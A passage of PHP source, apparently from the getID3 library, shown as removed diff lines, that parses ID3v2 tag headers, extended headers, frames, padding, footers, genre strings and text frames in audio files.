$thisfile_id3v2['majorversion'] = ord($header[3]); - $thisfile_id3v2['minorversion'] = ord($header[4]); - - // shortcut - $id3v2_majorversion = &$thisfile_id3v2['majorversion']; - - } else { - - unset($info['id3v2']); - return false; - - } - - if ($id3v2_majorversion > 4) { // this script probably won't correctly parse ID3v2.5.x and above (if it ever exists) - - $this->error('this script only parses up to ID3v2.4.x - this tag is ID3v2.'.$id3v2_majorversion.'.'.$thisfile_id3v2['minorversion']); - return false; - - } - - $id3_flags = ord($header[5]); - switch ($id3v2_majorversion) { - case 2: - // %ab000000 in v2.2 - $thisfile_id3v2_flags['unsynch'] = (bool) ($id3_flags & 0x80); // a - Unsynchronisation - $thisfile_id3v2_flags['compression'] = (bool) ($id3_flags & 0x40); // b - Compression - break; - - case 3: - // %abc00000 in v2.3 - $thisfile_id3v2_flags['unsynch'] = (bool) ($id3_flags & 0x80); // a - Unsynchronisation - $thisfile_id3v2_flags['exthead'] = (bool) ($id3_flags & 0x40); // b - Extended header - $thisfile_id3v2_flags['experim'] = (bool) ($id3_flags & 0x20); // c - Experimental indicator - break; - - case 4: - // %abcd0000 in v2.4 - $thisfile_id3v2_flags['unsynch'] = (bool) ($id3_flags & 0x80); // a - Unsynchronisation - $thisfile_id3v2_flags['exthead'] = (bool) ($id3_flags & 0x40); // b - Extended header - $thisfile_id3v2_flags['experim'] = (bool) ($id3_flags & 0x20); // c - Experimental indicator - $thisfile_id3v2_flags['isfooter'] = (bool) ($id3_flags & 0x10); // d - Footer present - break; - } - - $thisfile_id3v2['headerlength'] = getid3_lib::BigEndian2Int(substr($header, 6, 4), 1) + 10; // length of ID3v2 tag in 10-byte header doesn't include 10-byte header length - - $thisfile_id3v2['tag_offset_start'] = $this->StartingOffset; - $thisfile_id3v2['tag_offset_end'] = $thisfile_id3v2['tag_offset_start'] + $thisfile_id3v2['headerlength']; - - - - // create 'encoding' key - used by getid3::HandleAllTags() - // in ID3v2 every field can have it's own encoding type - // so force everything to UTF-8 so it can be handled consistantly - $thisfile_id3v2['encoding'] = 'UTF-8'; - - - // Frames - - // All ID3v2 frames consists of one frame header followed by one or more - // fields containing the actual information. The header is always 10 - // bytes and laid out as follows: - // - // Frame ID $xx xx xx xx (four characters) - // Size 4 * %0xxxxxxx - // Flags $xx xx - - $sizeofframes = $thisfile_id3v2['headerlength'] - 10; // not including 10-byte initial header - if (!empty($thisfile_id3v2['exthead']['length'])) { - $sizeofframes -= ($thisfile_id3v2['exthead']['length'] + 4); - } - if (!empty($thisfile_id3v2_flags['isfooter'])) { - $sizeofframes -= 10; // footer takes last 10 bytes of ID3v2 header, after frame data, before audio - } - if ($sizeofframes > 0) { - - $framedata = $this->fread($sizeofframes); // read all frames from file into $framedata variable - - // if entire frame data is unsynched, de-unsynch it now (ID3v2.3.x) - if (!empty($thisfile_id3v2_flags['unsynch']) && ($id3v2_majorversion <= 3)) { - $framedata = $this->DeUnsynchronise($framedata); - } - // [in ID3v2.4.0] Unsynchronisation [S:6.1] is done on frame level, instead - // of on tag level, making it easier to skip frames, increasing the streamability - // of the tag. The unsynchronisation flag in the header [S:3.1] indicates that - // there exists an unsynchronised frame, while the new unsynchronisation flag in - // the frame header [S:4.1.2] indicates unsynchronisation. - - - //$framedataoffset = 10 + ($thisfile_id3v2['exthead']['length'] ? $thisfile_id3v2['exthead']['length'] + 4 : 0); // how many bytes into the stream - start from after the 10-byte header (and extended header length+4, if present) - $framedataoffset = 10; // how many bytes into the stream - start from after the 10-byte header - - - // Extended Header - if (!empty($thisfile_id3v2_flags['exthead'])) { - $extended_header_offset = 0; - - if ($id3v2_majorversion == 3) { - - // v2.3 definition: - //Extended header size $xx xx xx xx // 32-bit integer - //Extended Flags $xx xx - // %x0000000 %00000000 // v2.3 - // x - CRC data present - //Size of padding $xx xx xx xx - - $thisfile_id3v2['exthead']['length'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 4), 0); - $extended_header_offset += 4; - - $thisfile_id3v2['exthead']['flag_bytes'] = 2; - $thisfile_id3v2['exthead']['flag_raw'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, $thisfile_id3v2['exthead']['flag_bytes'])); - $extended_header_offset += $thisfile_id3v2['exthead']['flag_bytes']; - - $thisfile_id3v2['exthead']['flags']['crc'] = (bool) ($thisfile_id3v2['exthead']['flag_raw'] & 0x8000); - - $thisfile_id3v2['exthead']['padding_size'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 4)); - $extended_header_offset += 4; - - if ($thisfile_id3v2['exthead']['flags']['crc']) { - $thisfile_id3v2['exthead']['flag_data']['crc'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 4)); - $extended_header_offset += 4; - } - $extended_header_offset += $thisfile_id3v2['exthead']['padding_size']; - - } elseif ($id3v2_majorversion == 4) { - - // v2.4 definition: - //Extended header size 4 * %0xxxxxxx // 28-bit synchsafe integer - //Number of flag bytes $01 - //Extended Flags $xx - // %0bcd0000 // v2.4 - // b - Tag is an update - // Flag data length $00 - // c - CRC data present - // Flag data length $05 - // Total frame CRC 5 * %0xxxxxxx - // d - Tag restrictions - // Flag data length $01 - - $thisfile_id3v2['exthead']['length'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 4), true); - $extended_header_offset += 4; - - $thisfile_id3v2['exthead']['flag_bytes'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); // should always be 1 - $extended_header_offset += 1; - - $thisfile_id3v2['exthead']['flag_raw'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, $thisfile_id3v2['exthead']['flag_bytes'])); - $extended_header_offset += $thisfile_id3v2['exthead']['flag_bytes']; - - $thisfile_id3v2['exthead']['flags']['update'] = (bool) ($thisfile_id3v2['exthead']['flag_raw'] & 0x40); - $thisfile_id3v2['exthead']['flags']['crc'] = (bool) ($thisfile_id3v2['exthead']['flag_raw'] & 0x20); - $thisfile_id3v2['exthead']['flags']['restrictions'] = (bool) ($thisfile_id3v2['exthead']['flag_raw'] & 0x10); - - if ($thisfile_id3v2['exthead']['flags']['update']) { - $ext_header_chunk_length = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); // should be 0 - $extended_header_offset += 1; - } - - if ($thisfile_id3v2['exthead']['flags']['crc']) { - $ext_header_chunk_length = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); // should be 5 - $extended_header_offset += 1; - $thisfile_id3v2['exthead']['flag_data']['crc'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, $ext_header_chunk_length), true, false); - $extended_header_offset += $ext_header_chunk_length; - } - - if ($thisfile_id3v2['exthead']['flags']['restrictions']) { - $ext_header_chunk_length = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); // should be 1 - $extended_header_offset += 1; - - // %ppqrrstt - $restrictions_raw = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); - $extended_header_offset += 1; - $thisfile_id3v2['exthead']['flags']['restrictions']['tagsize'] = ($restrictions_raw & 0xC0) >> 6; // p - Tag size restrictions - $thisfile_id3v2['exthead']['flags']['restrictions']['textenc'] = ($restrictions_raw & 0x20) >> 5; // q - Text encoding restrictions - $thisfile_id3v2['exthead']['flags']['restrictions']['textsize'] = ($restrictions_raw & 0x18) >> 3; // r - Text fields size restrictions - $thisfile_id3v2['exthead']['flags']['restrictions']['imgenc'] = ($restrictions_raw & 0x04) >> 2; // s - Image encoding restrictions - $thisfile_id3v2['exthead']['flags']['restrictions']['imgsize'] = ($restrictions_raw & 0x03) >> 0; // t - Image size restrictions - - $thisfile_id3v2['exthead']['flags']['restrictions_text']['tagsize'] = $this->LookupExtendedHeaderRestrictionsTagSizeLimits($thisfile_id3v2['exthead']['flags']['restrictions']['tagsize']); - $thisfile_id3v2['exthead']['flags']['restrictions_text']['textenc'] = $this->LookupExtendedHeaderRestrictionsTextEncodings($thisfile_id3v2['exthead']['flags']['restrictions']['textenc']); - $thisfile_id3v2['exthead']['flags']['restrictions_text']['textsize'] = $this->LookupExtendedHeaderRestrictionsTextFieldSize($thisfile_id3v2['exthead']['flags']['restrictions']['textsize']); - $thisfile_id3v2['exthead']['flags']['restrictions_text']['imgenc'] = $this->LookupExtendedHeaderRestrictionsImageEncoding($thisfile_id3v2['exthead']['flags']['restrictions']['imgenc']); - $thisfile_id3v2['exthead']['flags']['restrictions_text']['imgsize'] = $this->LookupExtendedHeaderRestrictionsImageSizeSize($thisfile_id3v2['exthead']['flags']['restrictions']['imgsize']); - } - - if ($thisfile_id3v2['exthead']['length'] != $extended_header_offset) { - $this->warning('ID3v2.4 extended header length mismatch (expecting '.intval($thisfile_id3v2['exthead']['length']).', found '.intval($extended_header_offset).')'); - } - } - - $framedataoffset += $extended_header_offset; - $framedata = substr($framedata, $extended_header_offset); - } // end extended header - - - while (isset($framedata) && (strlen($framedata) > 0)) { // cycle through until no more frame data is left to parse - if (strlen($framedata) <= $this->ID3v2HeaderLength($id3v2_majorversion)) { - // insufficient room left in ID3v2 header for actual data - must be padding - $thisfile_id3v2['padding']['start'] = $framedataoffset; - $thisfile_id3v2['padding']['length'] = strlen($framedata); - $thisfile_id3v2['padding']['valid'] = true; - for ($i = 0; $i < $thisfile_id3v2['padding']['length']; $i++) { - if ($framedata[$i] != "\x00") { - $thisfile_id3v2['padding']['valid'] = false; - $thisfile_id3v2['padding']['errorpos'] = $thisfile_id3v2['padding']['start'] + $i; - $this->warning('Invalid ID3v2 padding found at offset '.$thisfile_id3v2['padding']['errorpos'].' (the remaining '.($thisfile_id3v2['padding']['length'] - $i).' bytes are considered invalid)'); - break; - } - } - break; // skip rest of ID3v2 header - } - $frame_header = null; - $frame_name = null; - $frame_size = null; - $frame_flags = null; - if ($id3v2_majorversion == 2) { - // Frame ID $xx xx xx (three characters) - // Size $xx xx xx (24-bit integer) - // Flags $xx xx - - $frame_header = substr($framedata, 0, 6); // take next 6 bytes for header - $framedata = substr($framedata, 6); // and leave the rest in $framedata - $frame_name = substr($frame_header, 0, 3); - $frame_size = getid3_lib::BigEndian2Int(substr($frame_header, 3, 3), 0); - $frame_flags = 0; // not used for anything in ID3v2.2, just set to avoid E_NOTICEs - - } elseif ($id3v2_majorversion > 2) { - - // Frame ID $xx xx xx xx (four characters) - // Size $xx xx xx xx (32-bit integer in v2.3, 28-bit synchsafe in v2.4+) - // Flags $xx xx - - $frame_header = substr($framedata, 0, 10); // take next 10 bytes for header - $framedata = substr($framedata, 10); // and leave the rest in $framedata - - $frame_name = substr($frame_header, 0, 4); - if ($id3v2_majorversion == 3) { - $frame_size = getid3_lib::BigEndian2Int(substr($frame_header, 4, 4), 0); // 32-bit integer - } else { // ID3v2.4+ - $frame_size = getid3_lib::BigEndian2Int(substr($frame_header, 4, 4), 1); // 32-bit synchsafe integer (28-bit value) - } - - if ($frame_size < (strlen($framedata) + 4)) { - $nextFrameID = substr($framedata, $frame_size, 4); - if ($this->IsValidID3v2FrameName($nextFrameID, $id3v2_majorversion)) { - // next frame is OK - } elseif (($frame_name == "\x00".'MP3') || ($frame_name == "\x00\x00".'MP') || ($frame_name == ' MP3') || ($frame_name == 'MP3e')) { - // MP3ext known broken frames - "ok" for the purposes of this test - } elseif (($id3v2_majorversion == 4) && ($this->IsValidID3v2FrameName(substr($framedata, getid3_lib::BigEndian2Int(substr($frame_header, 4, 4), 0), 4), 3))) { - $this->warning('ID3v2 tag written as ID3v2.4, but with non-synchsafe integers (ID3v2.3 style). Older versions of (Helium2; iTunes) are known culprits of this. Tag has been parsed as ID3v2.3'); - $id3v2_majorversion = 3; - $frame_size = getid3_lib::BigEndian2Int(substr($frame_header, 4, 4), 0); // 32-bit integer - } - } - - - $frame_flags = getid3_lib::BigEndian2Int(substr($frame_header, 8, 2)); - } - - if ((($id3v2_majorversion == 2) && ($frame_name == "\x00\x00\x00")) || ($frame_name == "\x00\x00\x00\x00")) { - // padding encountered - - $thisfile_id3v2['padding']['start'] = $framedataoffset; - $thisfile_id3v2['padding']['length'] = strlen($frame_header) + strlen($framedata); - $thisfile_id3v2['padding']['valid'] = true; - - $len = strlen($framedata); - for ($i = 0; $i < $len; $i++) { - if ($framedata[$i] != "\x00") { - $thisfile_id3v2['padding']['valid'] = false; - $thisfile_id3v2['padding']['errorpos'] = $thisfile_id3v2['padding']['start'] + $i; - $this->warning('Invalid ID3v2 padding found at offset '.$thisfile_id3v2['padding']['errorpos'].' (the remaining '.($thisfile_id3v2['padding']['length'] - $i).' bytes are considered invalid)'); - break; - } - } - break; // skip rest of ID3v2 header - } - - if ($iTunesBrokenFrameNameFixed = self::ID3v22iTunesBrokenFrameName($frame_name)) { - $this->warning('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag). (ERROR: IsValidID3v2FrameName("'.str_replace("\x00", ' ', $frame_name).'", '.$id3v2_majorversion.'))). [Note: this particular error has been known to happen with tags edited by iTunes (versions "X v2.0.3", "v3.0.1", "v7.0.0.70" are known-guilty, probably others too)]. Translated frame name from "'.str_replace("\x00", ' ', $frame_name).'" to "'.$iTunesBrokenFrameNameFixed.'" for parsing.'); - $frame_name = $iTunesBrokenFrameNameFixed; - } - if (($frame_size <= strlen($framedata)) && ($this->IsValidID3v2FrameName($frame_name, $id3v2_majorversion))) { - - $parsedFrame = array(); - $parsedFrame['frame_name'] = $frame_name; - $parsedFrame['frame_flags_raw'] = $frame_flags; - $parsedFrame['data'] = substr($framedata, 0, $frame_size); - $parsedFrame['datalength'] = getid3_lib::CastAsInt($frame_size); - $parsedFrame['dataoffset'] = $framedataoffset; - - $this->ParseID3v2Frame($parsedFrame); - $thisfile_id3v2[$frame_name][] = $parsedFrame; - - $framedata = substr($framedata, $frame_size); - - } else { // invalid frame length or FrameID - - if ($frame_size <= strlen($framedata)) { - - if ($this->IsValidID3v2FrameName(substr($framedata, $frame_size, 4), $id3v2_majorversion)) { - - // next frame is valid, just skip the current frame - $framedata = substr($framedata, $frame_size); - $this->warning('Next ID3v2 frame is valid, skipping current frame.'); - - } else { - - // next frame is invalid too, abort processing - //unset($framedata); - $framedata = null; - $this->error('Next ID3v2 frame is also invalid, aborting processing.'); - - } - - } elseif ($frame_size == strlen($framedata)) { - - // this is the last frame, just skip - $this->warning('This was the last ID3v2 frame.'); - - } else { - - // next frame is invalid too, abort processing - //unset($framedata); - $framedata = null; - $this->warning('Invalid ID3v2 frame size, aborting.'); - - } - if (!$this->IsValidID3v2FrameName($frame_name, $id3v2_majorversion)) { - - switch ($frame_name) { - case "\x00\x00".'MP': - case "\x00".'MP3': - case ' MP3': - case 'MP3e': - case "\x00".'MP': - case ' MP': - case 'MP3': - $this->warning('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag). (ERROR: !IsValidID3v2FrameName("'.str_replace("\x00", ' ', $frame_name).'", '.$id3v2_majorversion.'))). [Note: this particular error has been known to happen with tags edited by "MP3ext (www.mutschler.de/mp3ext/)"]'); - break; - - default: - $this->warning('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag). (ERROR: !IsValidID3v2FrameName("'.str_replace("\x00", ' ', $frame_name).'", '.$id3v2_majorversion.'))).'); - break; - } - - } elseif (!isset($framedata) || ($frame_size > strlen($framedata))) { - - $this->error('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag). (ERROR: $frame_size ('.$frame_size.') > strlen($framedata) ('.(isset($framedata) ? strlen($framedata) : 'null').')).'); - - } else { - - $this->error('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag).'); - - } - - } - $framedataoffset += ($frame_size + $this->ID3v2HeaderLength($id3v2_majorversion)); - - } - - } - - - // Footer - - // The footer is a copy of the header, but with a different identifier. - // ID3v2 identifier "3DI" - // ID3v2 version $04 00 - // ID3v2 flags %abcd0000 - // ID3v2 size 4 * %0xxxxxxx - - if (isset($thisfile_id3v2_flags['isfooter']) && $thisfile_id3v2_flags['isfooter']) { - $footer = $this->fread(10); - if (substr($footer, 0, 3) == '3DI') { - $thisfile_id3v2['footer'] = true; - $thisfile_id3v2['majorversion_footer'] = ord($footer[3]); - $thisfile_id3v2['minorversion_footer'] = ord($footer[4]); - } - if ($thisfile_id3v2['majorversion_footer'] <= 4) { - $id3_flags = ord($footer[5]); - $thisfile_id3v2_flags['unsynch_footer'] = (bool) ($id3_flags & 0x80); - $thisfile_id3v2_flags['extfoot_footer'] = (bool) ($id3_flags & 0x40); - $thisfile_id3v2_flags['experim_footer'] = (bool) ($id3_flags & 0x20); - $thisfile_id3v2_flags['isfooter_footer'] = (bool) ($id3_flags & 0x10); - - $thisfile_id3v2['footerlength'] = getid3_lib::BigEndian2Int(substr($footer, 6, 4), 1); - } - } // end footer - - if (isset($thisfile_id3v2['comments']['genre'])) { - $genres = array(); - foreach ($thisfile_id3v2['comments']['genre'] as $key => $value) { - foreach ($this->ParseID3v2GenreString($value) as $genre) { - $genres[] = $genre; - } - } - $thisfile_id3v2['comments']['genre'] = array_unique($genres); - unset($key, $value, $genres, $genre); - } - - if (isset($thisfile_id3v2['comments']['track_number'])) { - foreach ($thisfile_id3v2['comments']['track_number'] as $key => $value) { - if (strstr($value, '/')) { - list($thisfile_id3v2['comments']['track_number'][$key], $thisfile_id3v2['comments']['totaltracks'][$key]) = explode('/', $thisfile_id3v2['comments']['track_number'][$key]); - } - } - } - - if (!isset($thisfile_id3v2['comments']['year']) && !empty($thisfile_id3v2['comments']['recording_time'][0]) && preg_match('#^([0-9]{4})#', trim($thisfile_id3v2['comments']['recording_time'][0]), $matches)) { - $thisfile_id3v2['comments']['year'] = array($matches[1]); - } - - - if (!empty($thisfile_id3v2['TXXX'])) { - // MediaMonkey does this, maybe others: write a blank RGAD frame, but put replay-gain adjustment values in TXXX frames - foreach ($thisfile_id3v2['TXXX'] as $txxx_array) { - switch ($txxx_array['description']) { - case 'replaygain_track_gain': - if (empty($info['replay_gain']['track']['adjustment']) && !empty($txxx_array['data'])) { - $info['replay_gain']['track']['adjustment'] = floatval(trim(str_replace('dB', '', $txxx_array['data']))); - } - break; - case 'replaygain_track_peak': - if (empty($info['replay_gain']['track']['peak']) && !empty($txxx_array['data'])) { - $info['replay_gain']['track']['peak'] = floatval($txxx_array['data']); - } - break; - case 'replaygain_album_gain': - if (empty($info['replay_gain']['album']['adjustment']) && !empty($txxx_array['data'])) { - $info['replay_gain']['album']['adjustment'] = floatval(trim(str_replace('dB', '', $txxx_array['data']))); - } - break; - } - } - } - - - // Set avdataoffset - $info['avdataoffset'] = $thisfile_id3v2['headerlength']; - if (isset($thisfile_id3v2['footer'])) { - $info['avdataoffset'] += 10; - } - - return true; - } - - /** - * @param string $genrestring - * - * @return array - */ - public function ParseID3v2GenreString($genrestring) { - // Parse genres into arrays of genreName and genreID - // ID3v2.2.x, ID3v2.3.x: '(21)' or '(4)Eurodisco' or '(51)(39)' or '(55)((I think...)' - // ID3v2.4.x: '21' $00 'Eurodisco' $00 - $clean_genres = array(); - - // hack-fixes for some badly-written ID3v2.3 taggers, while trying not to break correctly-written tags - if (($this->getid3->info['id3v2']['majorversion'] == 3) && !preg_match('#[\x00]#', $genrestring)) { - // note: MusicBrainz Picard incorrectly stores plaintext genres separated by "/" when writing in ID3v2.3 mode, hack-fix here: - // replace / with NULL, then replace back the two ID3v1 genres that legitimately have "/" as part of the single genre name - if (strpos($genrestring, '/') !== false) { - $LegitimateSlashedGenreList = array( // https://github.com/JamesHeinrich/getID3/issues/223 - 'Pop/Funk', // ID3v1 genre #62 - https://en.wikipedia.org/wiki/ID3#standard - 'Cut-up/DJ', // Discogs - https://www.discogs.com/style/cut-up/dj - 'RnB/Swing', // Discogs - https://www.discogs.com/style/rnb/swing - 'Funk / Soul', // Discogs (note spaces) - https://www.discogs.com/genre/funk+%2F+soul - ); - $genrestring = str_replace('/', "\x00", $genrestring); - foreach ($LegitimateSlashedGenreList as $SlashedGenre) { - $genrestring = str_ireplace(str_replace('/', "\x00", $SlashedGenre), $SlashedGenre, $genrestring); - } - } - - // some other taggers separate multiple genres with semicolon, e.g. "Heavy Metal;Thrash Metal;Metal" - if (strpos($genrestring, ';') !== false) { - $genrestring = str_replace(';', "\x00", $genrestring); - } - } - - - if (strpos($genrestring, "\x00") === false) { - $genrestring = preg_replace('#\(([0-9]{1,3})\)#', '$1'."\x00", $genrestring); - } - - $genre_elements = explode("\x00", $genrestring); - foreach ($genre_elements as $element) { - $element = trim($element); - if ($element) { - if (preg_match('#^[0-9]{1,3}$#', $element)) { - $clean_genres[] = getid3_id3v1::LookupGenreName($element); - } else { - $clean_genres[] = str_replace('((', '(', $element); - } - } - } - return $clean_genres; - } - - /** - * @param array $parsedFrame - * - * @return bool - */ - public function ParseID3v2Frame(&$parsedFrame) { - - // shortcuts - $info = &$this->getid3->info; - $id3v2_majorversion = $info['id3v2']['majorversion']; - - $parsedFrame['framenamelong'] = $this->FrameNameLongLookup($parsedFrame['frame_name']); - if (empty($parsedFrame['framenamelong'])) { - unset($parsedFrame['framenamelong']); - } - $parsedFrame['framenameshort'] = $this->FrameNameShortLookup($parsedFrame['frame_name']); - if (empty($parsedFrame['framenameshort'])) { - unset($parsedFrame['framenameshort']); - } - - if ($id3v2_majorversion >= 3) { // frame flags are not part of the ID3v2.2 standard - if ($id3v2_majorversion == 3) { - // Frame Header Flags - // %abc00000 %ijk00000 - $parsedFrame['flags']['TagAlterPreservation'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x8000); // a - Tag alter preservation - $parsedFrame['flags']['FileAlterPreservation'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x4000); // b - File alter preservation - $parsedFrame['flags']['ReadOnly'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x2000); // c - Read only - $parsedFrame['flags']['compression'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x0080); // i - Compression - $parsedFrame['flags']['Encryption'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x0040); // j - Encryption - $parsedFrame['flags']['GroupingIdentity'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x0020); // k - Grouping identity - - } elseif ($id3v2_majorversion == 4) { - // Frame Header Flags - // %0abc0000 %0h00kmnp - $parsedFrame['flags']['TagAlterPreservation'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x4000); // a - Tag alter preservation - $parsedFrame['flags']['FileAlterPreservation'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x2000); // b - File alter preservation - $parsedFrame['flags']['ReadOnly'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x1000); // c - Read only - $parsedFrame['flags']['GroupingIdentity'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x0040); // h - Grouping identity - $parsedFrame['flags']['compression'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x0008); // k - Compression - $parsedFrame['flags']['Encryption'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x0004); // m - Encryption - $parsedFrame['flags']['Unsynchronisation'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x0002); // n - Unsynchronisation - $parsedFrame['flags']['DataLengthIndicator'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x0001); // p - Data length indicator - - // Frame-level de-unsynchronisation - ID3v2.4 - if ($parsedFrame['flags']['Unsynchronisation']) { - $parsedFrame['data'] = $this->DeUnsynchronise($parsedFrame['data']); - } - - if ($parsedFrame['flags']['DataLengthIndicator']) { - $parsedFrame['data_length_indicator'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 0, 4), 1); - $parsedFrame['data'] = substr($parsedFrame['data'], 4); - } - } - - // Frame-level de-compression - if ($parsedFrame['flags']['compression']) { - $parsedFrame['decompressed_size'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 0, 4)); - if (!function_exists('gzuncompress')) { - $this->warning('gzuncompress() support required to decompress ID3v2 frame "'.$parsedFrame['frame_name'].'"'); - } else { - if ($decompresseddata = @gzuncompress(substr($parsedFrame['data'], 4))) { - //if ($decompresseddata = @gzuncompress($parsedFrame['data'])) { - $parsedFrame['data'] = $decompresseddata; - unset($decompresseddata); - } else { - $this->warning('gzuncompress() failed on compressed contents of ID3v2 frame "'.$parsedFrame['frame_name'].'"'); - } - } - } - } - - if (!empty($parsedFrame['flags']['DataLengthIndicator'])) { - if ($parsedFrame['data_length_indicator'] != strlen($parsedFrame['data'])) { - $this->warning('ID3v2 frame "'.$parsedFrame['frame_name'].'" should be '.$parsedFrame['data_length_indicator'].' bytes long according to DataLengthIndicator, but found '.strlen($parsedFrame['data']).' bytes of data'); - } - } - - if (isset($parsedFrame['datalength']) && ($parsedFrame['datalength'] == 0)) { - - $warning = 'Frame "'.$parsedFrame['frame_name'].'" at offset '.$parsedFrame['dataoffset'].' has no data portion'; - switch ($parsedFrame['frame_name']) { - case 'WCOM': - $warning .= ' (this is known to happen with files tagged by RioPort)'; - break; - - default: - break; - } - $this->warning($warning); - - } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'UFID')) || // 4.1 UFID Unique file identifier - (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'UFI'))) { // 4.1 UFI Unique file identifier - // There may be more than one 'UFID' frame in a tag, - // but only one with the same 'Owner identifier'. - //
                              - // Owner identifier $00 - // Identifier - $exploded = explode("\x00", $parsedFrame['data'], 2); - $parsedFrame['ownerid'] = (isset($exploded[0]) ? $exploded[0] : ''); - $parsedFrame['data'] = (isset($exploded[1]) ? $exploded[1] : ''); - - } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'TXXX')) || // 4.2.2 TXXX User defined text information frame - (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'TXX'))) { // 4.2.2 TXX User defined text information frame - // There may be more than one 'TXXX' frame in each tag, - // but only one with the same description. - //
                              - // Text encoding $xx - // Description $00 (00) - // Value - - $frame_offset = 0; - $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); - $frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding); - if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { - $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); - $frame_textencoding_terminator = "\x00"; - } - $frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset); - if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) { - $frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00 - } - $parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); - $parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']); - $parsedFrame['encodingid'] = $frame_textencoding; - $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); - - $parsedFrame['description'] = trim(getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['description'])); - $parsedFrame['data'] = substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator)); - $parsedFrame['data'] = $this->RemoveStringTerminator($parsedFrame['data'], $frame_textencoding_terminator); - if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) { - $commentkey = ($parsedFrame['description'] ? $parsedFrame['description'] : (isset($info['id3v2']['comments'][$parsedFrame['framenameshort']]) ? count($info['id3v2']['comments'][$parsedFrame['framenameshort']]) : 0)); - if (!isset($info['id3v2']['comments'][$parsedFrame['framenameshort']]) || !array_key_exists($commentkey, $info['id3v2']['comments'][$parsedFrame['framenameshort']])) { - $info['id3v2']['comments'][$parsedFrame['framenameshort']][$commentkey] = trim(getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data'])); - } else { - $info['id3v2']['comments'][$parsedFrame['framenameshort']][] = trim(getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data'])); - } - } - //unset($parsedFrame['data']); do not unset, may be needed elsewhere, e.g. for replaygain - - - } elseif ($parsedFrame['frame_name'][0] == 'T') { // 4.2. T??[?] Text information frame - // There may only be one text information frame of its kind in an tag. - //
                              - // Text encoding $xx - // Information - - $frame_offset = 0; - $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); - if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { - $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); - } - - $parsedFrame['data'] = (string) substr($parsedFrame['data'], $frame_offset); - $parsedFrame['data'] = $this->RemoveStringTerminator($parsedFrame['data'], $this->TextEncodingTerminatorLookup($frame_textencoding)); - - $parsedFrame['encodingid'] = $frame_textencoding; - $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); - if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) { - // ID3v2.3 specs say that TPE1 (and others) can contain multiple artist values separated with / - // This of course breaks when an artist name contains slash character, e.g. "AC/DC" - // MP3tag (maybe others) implement alternative system where multiple artists are null-separated, which makes more sense - // getID3 will split null-separated artists into multiple artists and leave slash-separated ones to the user - switch ($parsedFrame['encoding']) { - case 'UTF-16': - case 'UTF-16BE': - case 'UTF-16LE': - $wordsize = 2; - break; - case 